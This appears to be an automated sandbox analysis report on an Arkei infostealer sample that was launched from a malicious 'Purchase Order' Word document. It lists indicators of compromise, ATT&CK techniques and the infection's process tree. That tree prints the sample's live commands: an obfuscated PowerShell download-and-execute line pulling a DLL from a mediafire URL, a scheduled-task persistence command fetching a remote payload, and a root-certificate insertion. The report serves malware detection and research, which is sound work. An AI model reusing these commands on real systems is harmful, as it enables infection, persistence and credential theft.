arkei | 21dcb10cb40e5357959aaed507513d8e04e72ba0e348c91288beeb8a00340c42

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	ddond.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\SJEUASRI	aspnet_regbrowsers.exe
File opened for modification	C:\Windows\SysWOW64\SJEUASRI	aspnet_regbrowsers.exe
File created	C:\Windows\SysWOW64\79HDJ5FK	aspnet_compiler.exe
File opened for modification	C:\Windows\SysWOW64\79HDJ5FK	aspnet_compiler.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2360 set thread context of 3452	2360	powershell.exe	107
PID 2360 set thread context of 4992	2360	powershell.exe	108
PID 2360 set thread context of 2084	2360	powershell.exe	109
PID 2360 set thread context of 704	2360	powershell.exe	111

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2712	schtasks.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Kills process with taskkill 3 IoCs

evasion

pid	Process
980	taskkill.exe
4320	taskkill.exe
2212	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ddond.com
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	ddond.com

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
4872	WINWORD.EXE
4872	WINWORD.EXE
5108	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2360	powershell.exe
2360	powershell.exe
2360	powershell.exe
2360	powershell.exe
2360	powershell.exe
2360	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	980	taskkill.exe
Token: SeDebugPrivilege	4320	taskkill.exe
Token: SeDebugPrivilege	2212	taskkill.exe
Token: SeDebugPrivilege	2084	CasPol.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
4872	WINWORD.EXE
4872	WINWORD.EXE
4872	WINWORD.EXE
4872	WINWORD.EXE
4872	WINWORD.EXE
4872	WINWORD.EXE
2140	EXCEL.EXE
2140	EXCEL.EXE
2140	EXCEL.EXE
2140	EXCEL.EXE
2140	EXCEL.EXE
2140	EXCEL.EXE
2140	EXCEL.EXE
5108	EXCEL.EXE
5108	EXCEL.EXE
5108	EXCEL.EXE
5108	EXCEL.EXE

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4872 wrote to memory of 3152	4872	WINWORD.EXE	86
PID 4872 wrote to memory of 3152	4872	WINWORD.EXE	86
PID 2140 wrote to memory of 4216	2140	EXCEL.EXE	91
PID 2140 wrote to memory of 4216	2140	EXCEL.EXE	91
PID 1456 wrote to memory of 2360	1456	ddond.com	93
PID 1456 wrote to memory of 2360	1456	ddond.com	93
PID 1456 wrote to memory of 2712	1456	ddond.com	94
PID 1456 wrote to memory of 2712	1456	ddond.com	94
PID 1456 wrote to memory of 980	1456	ddond.com	97
PID 1456 wrote to memory of 980	1456	ddond.com	97
PID 1456 wrote to memory of 4320	1456	ddond.com	99
PID 1456 wrote to memory of 4320	1456	ddond.com	99
PID 1456 wrote to memory of 2212	1456	ddond.com	101
PID 1456 wrote to memory of 2212	1456	ddond.com	101
PID 2360 wrote to memory of 4212	2360	powershell.exe	104
PID 2360 wrote to memory of 4212	2360	powershell.exe	104
PID 4212 wrote to memory of 1792	4212	csc.exe	105
PID 4212 wrote to memory of 1792	4212	csc.exe	105
PID 2360 wrote to memory of 764	2360	powershell.exe	106
PID 2360 wrote to memory of 764	2360	powershell.exe	106
PID 2360 wrote to memory of 764	2360	powershell.exe	106
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 3452	2360	powershell.exe	107
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 4992	2360	powershell.exe	108
PID 2360 wrote to memory of 2084	2360	powershell.exe	109
PID 2360 wrote to memory of 2084	2360	powershell.exe	109
PID 2360 wrote to memory of 2084	2360	powershell.exe	109
PID 2360 wrote to memory of 2084	2360	powershell.exe	109
PID 2360 wrote to memory of 2084	2360	powershell.exe	109
PID 2360 wrote to memory of 2084	2360	powershell.exe	109
PID 2360 wrote to memory of 2084	2360	powershell.exe	109
PID 2360 wrote to memory of 2084	2360	powershell.exe	109
PID 2360 wrote to memory of 4632	2360	powershell.exe	110
PID 2360 wrote to memory of 4632	2360	powershell.exe	110
PID 2360 wrote to memory of 4632	2360	powershell.exe	110
PID 2360 wrote to memory of 704	2360	powershell.exe	111
PID 2360 wrote to memory of 704	2360	powershell.exe	111
PID 2360 wrote to memory of 704	2360	powershell.exe	111
PID 2360 wrote to memory of 704	2360	powershell.exe	111
PID 2360 wrote to memory of 704	2360	powershell.exe	111
PID 2360 wrote to memory of 704	2360	powershell.exe	111
PID 2360 wrote to memory of 704	2360	powershell.exe	111
PID 2360 wrote to memory of 704	2360	powershell.exe	111

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Purchase Order (Ref M050417).docx" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4872
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3152

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Windows\SYSTEM32\WSCRIPT.exe
  WSCRIPT C:\Users\Public\update.js
  2⤵
  - Process spawned unexpected child process
  PID:4216

C:\ProgramData\ddond.com
C:\ProgramData\ddond.com https://www.mediafire.com/file/p4sw0y0ung9ic20/11.htm/file
1⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).invoke((('https://www.mediafire.com/file/66qmupxl6a3kglz/12.dll/file'))));Invoke-Expression $MMMMMMM
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lokzhuqn\lokzhuqn.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4212
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9073.tmp" "c:\Users\Admin\AppData\Local\Temp\lokzhuqn\CSC90B3E645FA40D481B453D5359E403D.TMP"
      4⤵
      PID:1792
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
    3⤵
    PID:764
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
    3⤵
    - Drops file in System32 directory
    PID:3452
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
    3⤵
    - Drops file in System32 directory
    PID:4992
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2084
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
    3⤵
    PID:4632
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
    3⤵
    PID:704
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 83 /tn calsaasdendersw /F /tr """C:\ProgramData\milon.com""""""https://www.mediafire.com/file/gvivg655kt9dd90/11.htm/file"""
  2⤵
  - Creates scheduled task(s)
  PID:2712
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im WinWord.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:980
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4320
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im POWERPNT.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2212

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

System Information Discovery